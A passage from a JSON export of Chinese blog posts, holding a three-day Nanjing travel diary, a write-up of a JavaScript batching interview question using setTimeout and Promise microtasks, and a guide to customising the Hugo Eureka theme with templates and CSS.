古色古香。特别是春天各种鲜花争群夺艳，让这三十元的门票花的真值。参观完继续遵循昨天的不要在景区旁吃饭定律，我们找了些稍微远一丢丢的地方，可能是对距离没有把控好，结果也是都要等位。一气之下我们想着干脆吃火锅吧，最后定了距离不太远的马路边边串串香。步行过去的时候发现路边的风景再次熟悉起来，原来定位的地方竟然就是昨天我们沿着珍珠河溜达去总统府路过的地方！真是造化弄人。\n注：好看的绣球\n据小伙伴说这家马路边边似乎少了很多经典菜色，不过他们家特有的糖蒜牛肉获得了我们的一致好评。酒足饭饱过后，我们打车朝雨花台出发了。路上司机师傅和我们一路吐槽旅游景点，比如夫子庙的南京特色小吃都是安徽人开的，南京只有小笼包压根没有汤包之类的，让我们大吃一惊。\n雨花台烈士陵园 雨花台烈士陵园恢弘大气，我们没有完全逛完，驻足比较久的是雨花台烈士纪念馆。里面陈列了大量的烈士事迹，包括我们在《觉醒年代》中看到的邓中夏。每位烈士的事迹都一一驻足瞻仰后，一个多小时已经过去了。大部分人都是在二十几岁人生最美好的年华中去世的，有些甚至只有十几岁，看照片都只是孩子模样。他们基本都是集中在几个时间过世的，有些可能是因为同一事件被抓，有些则是因为同一事件被处决。看到那些年纪轻轻就英勇就义的烈士，有种说不清道不明的感觉油然而生，或疑惑，或震撼，或感慨，或哀叹。\n注：雨花台烈士陵园\n纪念馆的尽头有个漆黑的小房间，里面陈列了一些烈士相关的物品，扫描他们的二维码可以查看对应的烈士事迹。特别的是每个小物品都使用火焰灯光照射着，通过漆黑的镜面效果将这几簇火焰生生演化出燎原之势，观感效果极好，同时也非常具有寓意。\n注：只有9簇火焰的燎原效果\n雨花台烈士陵园又非常肃穆庄严。花了一个多小时浏览完纪念馆，我们来到了纪念碑前。小伙伴买了朵小菊花代表我们的心意在纪念碑前为烈士献上了鲜花。看着时间也差不多要离开了，草草的游览了一下就离开了雨花台了。\n返程 打车到宾馆拿了行李之后还有一点时间，就在附近找了个生煎包店解决晚饭。路上还碰到个叫”甜星“的好利来李鬼，本来以为只是个小面包店，结果为了防止火车上饿着买了点面包发现小票上居然印着苏州好利来的字样。怪不得在店里看到了好利来的半熟芝士，这就说得通了。回来一搜发现原来好利来苏州的店都改名叫甜星了，其它地方的也纷纷都改成当地的品牌名了。\n打了出租车去车站，结果快到站计程车的表跳了一下。师傅应该是跳表钱看的，和我说 25。我看了下表疑惑的和他说：”不是 26 么？“真是老实人碰到老实人，分外尴尬。上车后还用手机写了一会游记，奈何太累了开始还是小憩，后来就沉沉的睡过去了。\n到北京后已经是晚上十一点半了，如何回家顿时成为了难题。地铁停运只剩下增开的 4 号线，出租车早已人多车少车站工作人员已经不推荐排队等候了。无奈的我们只能想着出站走一段看看能不能打到车，结果滴滴打车等位都已经超过 200 位了。\n出来车站没多远就有一些黑车在等着载客，随口问了下说是要 150 还得拼车，看这坐地起价的口气就不想坐。往前走了段我鬼使神差的建议在一个十字路口逆着人流方向走了一段，碰到一趟公车，想着人走估计是走不出这片拥堵区了，干脆坐公车坐几站出去了再打车吧。结果好家伙也不知是不是运气好，公车还真就能到住的地方附近。不过晚上太冷，最后一公里不太好解决，遂还是按照之前的思路尝试在后几站的公车站打车。\n每过一个站我就重新更新下出发地点为后几站，就这么尝试了七八次之后，在我都已经不抱希望的情况下，居然被我打到车了！当时激动的心，颤抖的手，喜悦的心情估计周边人都能感受到了。而且非常幸运的是到站没多久师傅也到了，时间完美匹配！经过这么一个多小时的折腾，总算是顺利到家了。至此清明南京之行顺利结束！\n","count":2414,"date":"2021年04月05日","featuredImage":"https://imnerd.org/assets/2021/nanking-4.png","permalink":"https://imnerd.org/nanking-day-3.html","summary":"\u003cp\u003e今天是行程的最后一天，我们放弃了之前找的攻略路线，准备把之前两天没有逛到的总统府和雨花台补完下。这两个在小伙伴的努力下都已经提前预约了，应该是不能再出什么幺蛾子了。\u003c/p\u003e","time":5,"title":"南京行-Day 3"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"总统府 本以为昨晚吃一堑长一智，详细的查看了路线攻略，发现没有需要预约才能参观的地点后能开开心心的开启新的一天。没想到我们还是太低估了国内旅游的困难程度。早上把小伙伴催促起来之后已然过了九点，匆忙打了个车就去了本日的第一站—总统府。来了之后发现本日第一囧，那就是排队买票的人实在是太多了，我们是万万没戏了。\n注：酒店风景\n想着反正也排不上了，遂大众点评上找了一家旁边的早餐店准备慢悠悠的吃个早饭去下个景点。结果去了店里发现这排队的人也非常多，果断换了旁边一家人不太多的吃了鸭血粉丝汤和汤包，不过质量嘛景区的东西你懂的。吃饭的时候顺手查了一下总统府能否在网上购票，发现居然可以！不过遗憾的是只能定明天的票了，不过我们还是先买了想着明天再过来。\n注：鸭血粉丝汤\n南京大学 费了半天劲打车来到我们的第二站南京大学后发生了本日的第二囧，南大可能因为疫情的原因目前暂不开放！无奈的我们打卡了下不算好看的校门，在附近溜达了一圈后就灰溜溜的跑去我们的第三站古鸡鸣寺了。\n注：槽点满满的南京大学校门\n古鸡鸣寺 到了古鸡鸣寺发现人更是多，看到门口的人山人海我们就果断放弃了参观的想法。不过因为人实在是太多了，已经需要一堆城管采用人墙策略划分人流维护秩序了。好巧不巧小伙伴又很想上厕所，而上厕所的标识指向了古鸡鸣寺的路口处。结果小伙伴就不小心被挤入到了入寺的人群中，最后好不容易让城管帮忙给放出来了，这算是本日的第三囧了。万般无奈之下就去了就近的地铁站进站上了个厕所，结果反馈地铁站的厕所居然也是要排队的，真是令人崩溃！\n注：人山人海的古鸡鸣寺入口\n南京大牌档 一连打卡三个景点都没有去成让我们的兴致不是非常高，临近中午了就想着干脆找一家饭馆好好吃一顿排解一下。怀着好奇心想试试南京的南京大牌档会不会特别点，于是找了一家附近的南京大牌档准备溜达过去。沿着珍珠河我们一边溜达一边拍照，走着走着就发现路边的风景慢慢熟悉了起来。原来我定位的这个南京大牌档居然就在总统府的旁边啊！囧上加囧的事情是，店里排队的人可不比去古鸡鸣寺的人要少，只能果断放弃了。\n江宴楼 询问了一遍附近的饭馆发现居然都需要等位之后，我们想着是不是打个车逃离总统府景区就可以正常吃上饭了？于是一番讨论后大众点评上找了家评分比较高且不需要等位的江宴楼。去了之后才发现和我平常吃饭的地方档次高了一个数量级，服（菜）务（品）也特别的周（昂）到（贵）。\n注：好吃的江宴楼\n夫子庙 在包间我们边吃边聊间解决了随意点的一些菜品，感觉我们又复活了！看到古鸡鸣寺那么多人之后，我们放弃了下一站位于古鸡鸣寺旁边的玄武湖公园，直奔夫子庙秦淮河景区了。吃饭的地方离夫子庙倒也不是很远，就想着溜达溜达消消食。夫子庙旁边的步行街到处都充满了熙熙攘攘的人群。按照导航的定位，我们跑到了夫子庙的出口处买了票并成功进入。进去之后发现原来夫子庙真的就是说的孔夫子和学业相关的事情。这才明白过来为什么去的路上听到有人说”我一个山东人跑南京来参观夫子庙？“这种问句了。\n作为我们今日成功打卡的第一个景区，也是我们南京之行成功打卡的第一个景区，我们还是非常认真的游览了一遍。里面按照时间先后展览着一些和学生、学习、考试等相关的藏品。其中最有意思的当属于古代人在袜子上用小字撰写的小抄，怕不是和现在的小抄有着异曲同工之妙。除了这些之外还有很多明国时期的毕业证书、课本教材、护照等有意思的文字材料。夫子庙算是已经很成熟的商业景区了，内部的商业气息非常浓重，付费撞钟祝好运，付费挂许愿树、付费扔币许愿、付费平安福等等活动充斥着景区。\n注：古代小抄\n参观完后我们从景区的入口处出来，发现来夫子庙的人真的很多，只是我们是从出口处进来的。夫子庙入口前面就是秦淮河，上面有秦淮河画舫可以120（白）/140（夜）元坐船的活动，想着晚上坐船可能有灯光会更好看点于是就先过了。路上有用铜片手动压制铭牌的机器，给小伙伴买了一个。想着景区里打车不方便就慢慢走出了景区，结果发现了我们第五件囧事，我们居然沿着之前路过的时候大家疯狂吐槽的”为什么会有很多人从小区门口出来“的地方回到了我们去夫子庙的原点处！实打实的沿着夫子庙走了一圈，真是欲哭无泪。\n二战小厨娘 经历了两个轮回圈之后我们已然是精疲力尽，赶紧打了个车回酒店歇息了。稍作整顿后我去了小伙伴那继续补习《觉醒年代》了。晚上则还是在昨天的小厨娘，甚至还是昨天的那个位置吃的。我们点了松鼠桂鱼和烤鸭，想着试试南京的烤鸭和北京的烤鸭到底有什么区别。吃完后本来我们也没有觉得烤鸭有多好吃，但是因为服务员和我们说我们的烤鸭是最后半只，且吃饭过程中一直听到服务员和顾客说烤鸭早就卖完了，莫名的给这烤鸭增加了一颗星。\n注：小厨娘的烤鸭\n夜游东水关遗址 吃完沿着宾馆旁边的城墙溜达了一圈，走到城墙尽头上去看了下，发现旁边的秦淮河里也有画舫在游河，发现真要去划船着实是没什么可以看的，画舫游船一事也就作罢。本意是想出来溜达找个水果店买些水果回去窝着看剧的。逛了一圈大家又都有写疲了，就在宾馆旁边的超市买了袋牛奶回宾馆歇息去了。\n注：夜游东水关\n","count":2054,"date":"2021年04月04日","featuredImage":"https://imnerd.org/assets/2021/nanking-3.png","permalink":"https://imnerd.org/nanking-day-2.html","summary":"\u003ch2 id=\"总统府\"\u003e总统府\u003c/h2\u003e\n\u003cp\u003e本以为昨晚吃一堑长一智，详细的查看了路线攻略，发现没有需要预约才能参观的地点后能开开心心的开启新的一天。没想到我们还是太低估了国内旅游的困难程度。早上把小伙伴催促起来之后已然过了九点，匆忙打了个车就去了本日的第一站—总统府。来了之后发现本日第一囧，那就是排队买票的人实在是太多了，我们是万万没戏了。\u003c/p\u003e","time":5,"title":"南京行-Day 2"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"清明来了一次说走就走的旅行，突然之间决定和小伙伴一块去南京当回游客。本来我是想出去转转定了上海的，后来想想上海似乎也没有需要待好几天的必要，就在小伙伴的建议下选择了附近的南京。\n我和小伙伴花了一个晚上的时间定好了酒店和出行时间，第二天早上用智行买的火车票。其中回程的车票因为只有一等座了就暂时先买了，后来智行还很温馨的提示我们有二等座车票了是否需要更换，果断更换后省了一晚酒店钱，同时也让我第一次体验到了智行这种第三方买票软件的优势。\n出发 早早收拾好就出门赶地铁去了，想着给小伙伴带新口味的鸡蛋汉堡还路过了一下超市，结果也不知是起晚还是放假休息的缘故，鸡蛋汉堡的老板居然没有来上班，美好的愿望就这么落了个空。只能路上买了个煎饼留了一半给他们吃。\n地铁上出行的人还是很多的，看来清明旅游区的人流量应该不会少。进车站后发现车展特地为清明出行开启了快速进站厅，上火车顿时方便了不少。上车后就在我焦急等待小伙伴的时候，他们总算赶着发车的尾巴上来了。上车后发现隔壁两个小孩在车上写作业，小伙伴也发表了他要带工作旅游的艰辛感慨，而我只能感谢他辛苦百忙之中抽空来陪我们旅游了。\n注：火车上努力写作业的小朋友\n许久不见分外想念，一路上有的没的聊着聊着就到地方了。当我们一边带着疑惑”不是不用扫健康码了吗“一边制作了苏州健康码后，我们碰到了第一个囧事。为了找出租车，我们居然按照火车站的指示牌绕着南站转了大半圈，也是不得不感慨造物主的脑回路。到了宾馆办好入住之后进屋发现居然还挺不错，东西应有尽有，设施也很整洁（不过隔音一般）。特别还碰到了宾馆服务员给房客发放清明节小礼物，顿时好感上升了不少。\n注：路边盛开的景观花\n由于已过中饭点，赶紧找了附近一家好评还不错的饭店小厨娘吃饭。它是南京一家连锁店，这家分店也是很神奇，居然开在了宾馆的二楼。我也是到了一楼之后才发现的，只能傻不愣登的赶紧跑二楼去了。为了节约用餐时间，趁着小伙伴还没到的时间我先把菜点了。菜口味还不错，就是忘记点招牌的盐水鸭了。而且糯米类的食物比较多，吃完已然是撑得不行了。\n注：逛商场看到的可爱童装\n南京大屠杀纪念馆 经过几个人轮番努力，总算打上了车去南京大屠杀纪念馆了。快到的时候我才发现我们的第二个囧事，那就是纪念馆是需要提前一天预约的，而不巧的是清明三天的时间都已经预约满了。在某人惋惜的眼神下，我们只好跑去附近的万达广场逛商场去了。不知是否是放假气息的带动，即使是逛着在帝都也能逛到的品牌店，我们依旧也很开心。甚至每个人都买到了自己称心的衣服，还不止一件！\n注：蒙蒙细雨中送入云端的大厦\n明瓦廊小吃街 逛完商场已然是到了晚上，打车去了小伙伴之前查到了一家南京很好喝的奶茶店拾叁茶明瓦廊店，想着买杯奶茶再在附近找家吃饭的地方就好了。在中江书香世家酒店下车后发现明瓦廊这条小巷似乎是小吃一条街，里面的小吃可太多了。特别是居然在去奶茶店的路上我们还看到了卖鸡蛋汉堡的！虽然比起在公司旁边吃的那家贵了很多，但看在排队的人那么多以及好奇心的驱使下，组织还是把我派出来排队购买了，而他们继续向奶茶店前进。当我看着门口无序的排队人群头大的时候，一个小妹妹非常优秀的和我达成了帮忙排队代购鸡蛋汉堡，她去其它地方排队帮我买好吃的的交易。结果买奶茶的，买其它好吃的都已经回来了，而我还在等鸡蛋汉堡…好在是没过一会都好了。真是到哪里都有排队、堵车的事情呀！\n注：超多人排队的鸡蛋汉堡\n等车的路上我们又买了点水果，想着干脆不吃晚饭，窝在宾馆边看剧边吃小吃了。回到宾馆发生了第三件囧事，宾馆只能刷卡到卡对应的楼层。而我和小伙伴不在一个楼层，当我想去他们楼层的时候发现过不去了。到一楼咨询了下之后发现需单独授权一下对应楼层，这里就想吐槽下办入住的时候服务员为什么不帮我们一步到位打通一下。\n注：打卡到超好喝的茶饮品拾叁茶\n吃了下鸡蛋汉堡发现用料确实要比我们在北京吃的扎实很多，带着一股鸡蛋的鲜嫩口感。不过我个人觉得在口味上还是北京的更胜一筹。北京的鸡蛋汉堡会使用榨菜来增加咸鲜味，同时辣酱口味使用的是剁椒而不是辣椒面也会更加符合我的口味。边吃边刷剧发现宾馆电视可以看《觉醒年代》，遂看了两集，正好在说一战后的巴黎合约事件，边看边搜下又恶补了一段历史知识。\n","count":1724,"date":"2021年04月03日","featuredImage":"https://imnerd.org/assets/2021/nanking-2.png","permalink":"https://imnerd.org/nanking-day-1.html","summary":"\u003cp\u003e清明来了一次说走就走的旅行，突然之间决定和小伙伴一块去南京当回游客。本来我是想出去转转定了上海的，后来想想上海似乎也没有需要待好几天的必要，就在小伙伴的建议下选择了附近的南京。\u003c/p\u003e","time":4,"title":"南京行-Day 1"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"今天在群里聊天，突然有人放出了一道面试题。经过群里一番讨论，最终解题思路慢慢完善起来，我这里就整理一下群内解题的思路。\n该题定义了一个同步函数对传入的数组进行遍历乘二操作，同时每执行一次就会给 executeCount 累加。最终我们需要实现一个 batcher 函数，使用其对该同步函数包装后，实现每次调用依旧返回预期的二倍结果，同时还需要保证 executeCount 执行次数为1。\nlet executeCount = 0 const fn = nums =\u0026gt; { executeCount++ return nums.map(x =\u0026gt; x * 2) } const batcher = f =\u0026gt; { // todo 实现 batcher 函数 } const batchedFn = batcher(fn); const main = async () =\u0026gt; { const [r1, r2, r3] = await Promise.all([ batchedFn([1,2,3]), batchedFn([4,5]), batchedFn([7,8,9]) ]); //满足以下 test case assert(r1).tobe([2, 4, 6]) assert(r2).tobe([8, 10]) assert(r3).tobe([14, 16, 18]) assert(executeCount).tobe(1) } 抖机灵解法 拿到题目的第一时间，我就想到了抖机灵的方法。直接面向用例编程，执行完之后重置下 executeCount 就好了。\nconst batcher = f =\u0026gt; { return nums =\u0026gt; { try { return f(nums) } finally { executeCount = 1 } } } 当然除非你不在乎这次面试，否则一般不建议你用这种抖机灵的方法回答面试官（不要问我为什么知道）。由于 executeCount 的值和 fn() 函数的调用次数呈正相关，所以这道理也就换成了我们需要实现 batcher() 方法返回新的包装函数，该函数会被调用多次，但最终只会执行一次 fn() 函数。\nsetTimeout 解法 由于题干中使用了 Promise.all()，我们自然而然想到使用异步去解决。也就是每次调用的时候会把所以的传参存下来，直到最后的时候再执行 fn() 返回对应的结果。问题在于什么时候触发开始执行呢？自然而然我们想到了类似 debounce 的方式使用 setTimeout 增加延迟时间。\nconst batcher = f =\u0026gt; { let nums = []; const p = new Promise(resolve =\u0026gt; setTimeout(_ =\u0026gt; resolve(f(nums)), 100)); return arr =\u0026gt; { let start = nums.length; nums = nums.concat(arr); let end = nums.length; return p.then(ret =\u0026gt; ret.slice(start, end)); }; }; 这里的难点在于预先定义了一个 Promise 在 100ms 之后才会 resolve。返回的函数本质只是将参数推入到 nums 数组中，待 100ms 后触发 resolve 返回统一执行 fn() 后的结果并获取对应于当前调用的结果片段。\n后来有群友反馈，实际上不用定义 100ms 直接 0ms 也是可以的。由于 setTimeout 是在 UI 渲染结束之后才会执行的宏任务，所以理论上来说 setTimeout() 的最小间隔值无法设置为 0。它的最小值和浏览器的刷新频率有关系，根据 MDN 描述，它的最小值一般为 4ms。所以理论上它设置 0ms 和 100ms 效果是差不多的，都类似于 debounce 的效果。\nPromise 解法 那么如何能实现延迟 0ms 执行呢？我们知道除了宏任务之外 JS 还有微任务，微任务队列是在 JS 主线程执行完成之后立即执行的事件队列。Promise 的回调就会存储在微任务队列中。于是我们将 setTimeout 修改成了 Promise.resolve()，最终发现也是可以实现同样的效果。\nconst batcher = f =\u0026gt; { let nums = []; const p = Promise.resolve().then(_ =\u0026gt; f(nums)); return arr =\u0026gt; { let start = nums.length; nums = nums.concat(arr); let end = nums.length; return p.then(ret =\u0026gt; ret.slice(start, end)); }; }; 由于 Promise 的微任务队列效果将 _ =\u0026gt; f(nums) 推入微任务队列，待主线程的三次 batcherFn() 调用都执行完成之后才会执行。之后 p 的状态变为 fulfilled 后继续完成最终 slice 的操作。\n**2020-03-17：**感谢 @kricsleo 帮忙指出由于存在副作用多次调用会存在问题，并提供了优化版本。\nconst batcher = (f) =\u0026gt; { let nums = []; let p; return (nums) =\u0026gt; { if(!p) { p = Promise.resolve().then(_ =\u0026gt; f(nums)); } const start = nums.length; nums = nums.concat(arr); const end = nums.length; return p.then(ret =\u0026gt; { nums = []; p = null; return ret.slice(start, end); }); }; }; 后记 最终分析下来，其实这道理的本质就是要通过某些方法将 fn() 函数的执行后置到主线程执行完毕，至于是使用宏任务还是微任务队列，就看具体的需求了。除了 setTimeout() 之外，还有 setInterval(), requestAnimationFrame() 都是宏任务队列。而微任务队列里除了有 Promise 之外，还有 MutationObserver。关于宏任务和微任务队列相关的，感兴趣的可以看看《微任务、宏任务与Event-Loop》这篇文章。\n","count":1296,"date":"2021年03月12日","featuredImage":"https://imnerd.org/assets/migration/p4.ssl.qhimg.com/t0116292bdf7ef2416a.png","permalink":"https://imnerd.org/a-interview-question-to-make-you-understand-async-deeply.html","summary":"\u003cp\u003e今天在群里聊天，突然有人放出了一道面试题。经过群里一番讨论，最终解题思路慢慢完善起来，我这里就整理一下群内解题的思路。\u003c/p\u003e\n\u003cp\u003e该题定义了一个同步函数对传入的数组进行遍历乘二操作，同时每执行一次就会给 \u003ccode\u003eexecuteCount\u003c/code\u003e 累加。最终我们需要实现一个 \u003ccode\u003ebatcher\u003c/code\u003e 函数，使用其对该同步函数包装后，实现每次调用依旧返回预期的二倍结果，同时还需要保证 \u003ccode\u003eexecuteCount\u003c/code\u003e 执行次数为1。\u003c/p\u003e","time":3,"title":"一道面试题让你更加了解事件队列"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"今天有网友邮件我咨询我现在的主题 Eureka 的一些自定义配置，他想参考一下。由于我的博客仓库是私有的，所以就写一篇文章简单整理一下。\nEureka 是前段时间群友推荐给我的，纯白的朴素风格同时提供了暗色模式瞬间我就喜欢上了。将其 clone 到 Hugo 博客目录 themes/hugo-eureka 下，config.toml 中配置 theme = \u0026quot;hugo-eureka\u0026quot; 即可使用上该款主题。为了方便主题的更新，我将我所有自定义的模板都放在了 layouts 目录下。Hugo 会将主题目录和 layouts 目录下的文件进行合并，并优先使用 layouts 目录中的同名文件。这样之后我只需要单纯的更新 thtmes/hugo-eureka 目录即可。\n首页 相较于 Eureka 主题的默认首页，我个人还是比较喜欢传统博客的两栏布局，左侧显示模块列表，右侧显示文章列表，所以我需要自定义首页模板。拷贝以下内容创建 layouts/index.html 文件即可实现同款。\n{{ define \u0026#34;main\u0026#34; }} \u0026lt;div class=\u0026#34;pl-scrollbar\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;w-full max-w-screen-xl lg:px-4 xl:px-8 mx-auto\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;max-w-screen-xl mx-auto\u0026#34; style=\u0026#34;padding-top: 3rem\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;bg-local bg-cover\u0026#34;\u0026gt; \u0026lt;img class=\u0026#34;day\u0026#34; src=\u0026#34;/banner-day.png\u0026#34; /\u0026gt; \u0026lt;img class=\u0026#34;dark\u0026#34; src=\u0026#34;/banner.png\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- \u0026lt;article class=\u0026#34;mx-6 my-7\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;font-bold text-3xl text-primary-text\u0026#34;\u0026gt;\u0026lt;/h1\u0026gt; \u0026lt;/article\u0026gt; --\u0026gt; \u0026lt;div class=\u0026#34;grid grid-cols-2 lg:grid-cols-8 gap-4 lg:pt-12\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-span-2 sidebar\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;widget bg-secondary-bg rounded p-6\u0026#34;\u0026gt; \u0026lt;h2 class=\u0026#34;widget-title\u0026#34;\u0026gt;最新文章\u0026lt;/h2\u0026gt; \u0026lt;ul class=\u0026#34;widget-list\u0026#34;\u0026gt; {{- $recent := default 5 .Site.Params.numberOfRecentPosts }} {{- $posts := where (where .Site.RegularPages \u0026#34;Permalink\u0026#34; \u0026#34;!=\u0026#34; .Permalink) \u0026#34;Type\u0026#34; \u0026#34;in\u0026#34; .Site.Params.mainSections }} {{- range first $recent $posts }} \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;{{ .RelPermalink }}\u0026#34; class=\u0026#34;nav-link\u0026#34;\u0026gt;{{ .Title }}\u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; {{- end }} \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;widget bg-secondary-bg rounded p-6\u0026#34;\u0026gt; {{ $walineURL := .Site.Params.comment.waline.serverURL }} \u0026lt;h2 class=\u0026#34;widget-title \u0026#34;\u0026gt;最近回复\u0026lt;/h2\u0026gt; \u0026lt;ul class=\u0026#34;widget-list recentcomments\u0026#34;\u0026gt; {{ $resp := getJSON $walineURL \u0026#34;/comment?type=recent\u0026amp;count=10\u0026#34; }} {{ range first 10 $resp }} \u0026lt;li class=\u0026#34;recentcomments\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;{{.Site.BaseURL}}{{ .url }}\u0026#34;\u0026gt;{{ .nick }}\u0026lt;/a\u0026gt;：{{ .comment | safeHTML | truncate 22 }} \u0026lt;/li\u0026gt; {{ end }} \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;widget bg-secondary-bg rounded p-6\u0026#34;\u0026gt; \u0026lt;h2 class=\u0026#34;widget-title\u0026#34;\u0026gt;友情链接\u0026lt;/h2\u0026gt; \u0026lt;ul class=\u0026#34;widget-list\u0026#34;\u0026gt; {{ range .Site.Menus.friends }} \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;{{ .URL }}\u0026#34;\u0026gt;{{ .Name }}\u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; {{ end }} \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;widget bg-secondary-bg rounded p-6\u0026#34;\u0026gt; \u0026lt;h2 class=\u0026#34;widget-title\u0026#34;\u0026gt;管理\u0026lt;/h2\u0026gt; \u0026lt;ul class=\u0026#34;widget-list\u0026#34;\u0026gt; \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;/admin\u0026#34;\u0026gt;🛠 后台管理\u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;{{ .Site.Params.comment.waline.serverURL }}/ui\u0026#34;\u0026gt;💬 评论管理\u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;col-span-2 lg:col-span-6 bg-secondary-bg rounded px-6 py-8\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;bg-secondary-bg rounded overflow-hidden px-4 divide-y\u0026#34;\u0026gt; {{ range .Paginator.Pages }} \u0026lt;div class=\u0026#34;px-2 py-6\u0026#34;\u0026gt; {{ partial \u0026#34;components/summary-plain.html\u0026#34; . }} \u0026lt;/div\u0026gt; {{ end }} \u0026lt;/div\u0026gt; {{ template \u0026#34;_internal/pagination.html\u0026#34; . }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{ end }} 其中顶部还增加了一组暗色模式切换的横幅图片，添加以下 CSS 内容至 layouts/partials/custom-head.html 文件中，不存在的话需要新建。\n.widget + .widget { margin-top: 1rem; } .widget-title { font-weight: bold; margin-bottom: 1rem; } .widget-list li { font-size: 0.9rem; } .bg-cover img { opacity: 1; transition: all .5s ease-in-out; } .bg-cover img.dark { opacity: 0; height: 0; } .dark .bg-cover img.day { opacity: 0; height: 0; } .dark .bg-cover img.dark { opacity: 1; height: auto; } 左侧的模块中，评论是使用了本人自研的 Waline 评论系统并进行了一定的改造，具体可参见我之前的文章《静态博客如何高性能插入评论》。当然也可以直接使用 Waline 自带的最近评论挂件。\n友情链接则是在 config.toml 中按照如下格式进行配置的。\n[[menu.friends]] name = \u0026#34;童欧巴博客\u0026#34; url = \u0026#34;https://hungryturbo.com/\u0026#34; weight = 20 [[menu.friends]] identifier = \u0026#34;QingXu\u0026#34; name = \u0026#34;QingXu\u0026#34; url = \u0026#34;https://blog.qingxu.live\u0026#34; weight = 19 [[menu.friends]] identifier = \u0026#34;蜘蛛抱蛋\u0026#34; name = \u0026#34;蜘蛛抱蛋\u0026#34; url = \u0026#34;https://blog.zzbd.org/\u0026#34; weight = 18 后台管理则是使用了 forestry 提供的服务，它支持提供在线后台进行文章、页面和其它配置的管理。评论管理则是链接到了 Waline 服务的后台面板中。\nMetadata Eureka 主题的文章 metadata 显示分为列表页和详情页两个，分别对应 post_metadata.html 和 post_metadata_full.html 两个文件。我们在 layouts/partials/ 目录下新建这两个文件用来覆盖主题默认的文件。\n2021-03-13 更新： 更新后的 Eureka 统一使用了 components/post-metadata.html 显示文章的 metadata，代码和之前的 layouts/partials/post_metadata.html 是一致的。\n{{/* layouts/partials/components/post_metadata.html */}} \u0026lt;div class=\u0026#34;flex flex-wrap flex-row items-center my-2 text-tertiary-text\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-calendar mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{ .Date.Format (.Site.Params.dateFormat | default \u0026#34;2006-01-02\u0026#34;) }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; {{- $slug := printf \u0026#34;/%s.html\u0026#34; .Slug}} {{- $commentsData := (partialCached \u0026#34;utils/get-comments.html\u0026#34; .)}} {{- $comments := slice }} {{- range where $commentsData \u0026#34;url\u0026#34; \u0026#34;==\u0026#34; $slug}} {{$comments = $comments | append .}} {{- end}} {{- $count := len $comments}} \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;{{ .Permalink }}#waline-comments\u0026#34; title=\u0026#34;{{ .Title }}\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-comment mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{- if gt $count 0}}{{$count}} 条评论{{else}}暂无评论{{end -}}\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-clock mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;span\u0026gt;{{ i18n \u0026#34;readingTime\u0026#34; . }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; {{ with .GetTerms \u0026#34;categories\u0026#34; }} \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-folder mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; {{ range $index, $value := . }} {{ if gt $index 0 }} \u0026lt;span\u0026gt;, \u0026lt;/span\u0026gt; {{ end -}} \u0026lt;a href=\u0026#34;{{ .Permalink }}\u0026#34; class=\u0026#34;hover:text-eureka\u0026#34;\u0026gt;{{ .LinkTitle }}\u0026lt;/a\u0026gt; {{ end }} \u0026lt;/div\u0026gt; {{ end }} {{ with .GetTerms \u0026#34;series\u0026#34; }} \u0026lt;div class=\u0026#34;mr-6 my-2\u0026#34;\u0026gt; \u0026lt;i class=\u0026#34;fas fa-th-list mr-1\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; {{ range $index, $value := . }} {{ if gt $index 0 }} \u0026lt;span\u0026gt;, \u0026lt;/span\u0026gt; {{ end -}} \u0026lt;a href=\u0026#34;{{ .Permalink }}\u0026#34; class=\u0026#34;hover:text-eureka\u0026#34;\u0026gt;{{ .LinkTitle }}\u0026lt;/a\u0026gt; {{ end }} \u0026lt;/div\u0026gt; {{ end }} \u0026lt;/div\u0026gt; post_metadata.html 主要是增加了评论条数的显示，而 post_metadata_full.html 中还增加了 Markdown 原文链接的显示。关于如何生成 Markdown 原文链接，可以参考我之前的文章《Hugo 之旅》。\n{{/* 